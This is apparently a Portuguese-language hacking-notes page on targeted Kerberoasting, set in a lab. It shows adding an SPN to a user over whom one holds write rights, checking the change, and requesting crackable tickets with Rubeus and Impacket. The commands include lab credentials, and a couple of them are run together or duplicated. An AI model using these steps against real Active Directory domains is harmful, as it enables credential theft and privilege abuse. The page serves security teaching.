> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/kerberoasting-via-spn-modification.md).

# Kerberoasting via modificação de SPN

Notas de segurança do Active Directory para Kerberoasting via modificação de SPN, cobrindo enumeração, Kerberos, credenciais, abuso de ACL, movimentação lateral, fluxo de exploração e etapas de validação.

### Princípio

Se você tiver direitos de escrita sobre um usuário, por exemplo:

```
GenericWriteGenericAllWriteProperty
```

podemos adicionar um SPN a ele.

Depois que o SPN é adicionado, essa conta se torna kerberoastável.

### Exemplo com `evy.marnia`

No seu laboratório, imaginamos que `user1` tem permissão de gravação em:

```bash
evy.marnia
```

Adicionamos um SPN:

{% code overflow="wrap" %}

```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```

{% endcode %}

### Verifique a criação do SPN

{% code overflow="wrap" %}

```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```

{% endcode %}

Devemos ver o SPN adicionado:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb9b5b242860c6cc6b362bb09e2fa0bb451ee6f5%2Fimage%20(3286).png?alt=media" alt=""><figcaption></figcaption></figure>

### Colete o ticket com o Rubeus

{% code overflow="wrap" %}

```bash
.\Rubeus.exe kerberoast
```

{% endcode %}

### Recupere o ticket com o Impacket

```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08126660220561f3544461c85fe528ba0515f19d%2F%7B6119E82D-86EA-4E4A-8802-F708731F4AD6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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